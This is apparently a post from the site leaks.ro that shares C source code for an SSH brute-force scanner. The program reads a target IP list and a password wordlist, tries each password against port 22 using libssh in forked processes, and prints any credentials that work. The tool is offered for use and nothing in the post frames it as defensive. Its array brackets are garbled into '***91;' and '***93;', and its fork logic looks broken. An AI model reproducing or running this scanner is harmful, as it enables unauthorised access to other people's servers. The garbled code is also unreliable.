leaks.ro | SSH Scanner Source Code

#include <libssh/libssh.h>
 #include <stdio.h>
 #include <stdlib.h>
 #include <string.h>
 #include <sys/types.h>
 #include <sys/socket.h>

 #include <unistd.h>

 int main(int argc, char **argv)
 {
     ssh_session sess = NULL;
     FILE *ipfp, *passfp;
     char *user = NULL;
   char pass***91;256***93;, host***91;256***93;;
   int maxthreads = 0, threads = 0;

     if(argc != 5) {
      printf("Usage: %s <user> <iplist.txt> <pwlist.txt> <threads>\n", argv***91;0***93;);
       exit(-1);
    }

    user = strdup(argv***91;1***93;);
 ipfp = fopen(argv***91;2***93;, "r");
 if(ipfp == NULL) {
       printf("Invalid ip list\n");
         exit(-1);
    }
    passfp = fopen(argv***91;3***93;, "r");
    if(passfp == NULL) {
         printf("Invalid pass list\n");
       exit(-1);
    }

    maxthreads = atoi(argv***91;4***93;);

 sess = ssh_new();
    if(sess == NULL) {
       printf("Unable to create libssh session\n");
         exit(-1);
    }
    ssh_options_set(sess, SSH_OPTIONS_PORT_STR, "22");
   ssh_options_set(sess, SSH_OPTIONS_USER, user);

   while(!feof(ipfp)) {
         if(!fgets(host, sizeof(host) - 1, ipfp))
             continue;
        *strchr(host, '\n') = '\0';

      ssh_options_set(sess, SSH_OPTIONS_HOST, host);

       fseek(passfp, 0, SEEK_SET);
      while(!feof(passfp)) {
           if(!fgets(pass, sizeof(pass) - 1, passfp))
               continue;
            *strchr(pass, '\n') = '\0';

          while(threads > maxthreads) {
                 wait(NULL);
              threads--;
           }
            threads++;
           usleep(500000);

          if(fork()) {
                 if(ssh_connect(sess) != SSH_OK) {
                    printf("%s\n", ssh_get_error(sess));
                     exit(0);
                 }
                if(ssh_userauth_password(sess, NULL, pass) == SSH_AUTH_SUCCESS) {
                    printf("FOUND: %s - %s:%s\n", host, user, pass);
                     ssh_disconnect(sess);
                    exit(0);
                 } else {
                     printf("ERROR: %s - %s:%s\n", host, user, pass);
                     ssh_disconnect(sess);
                    exit(0);
                 }
            }
        }

    }

    while(wait(NULL) >= 0);

   free(user);
 fclose(ipfp);
    fclose(passfp);
 ssh_free(sess);
 }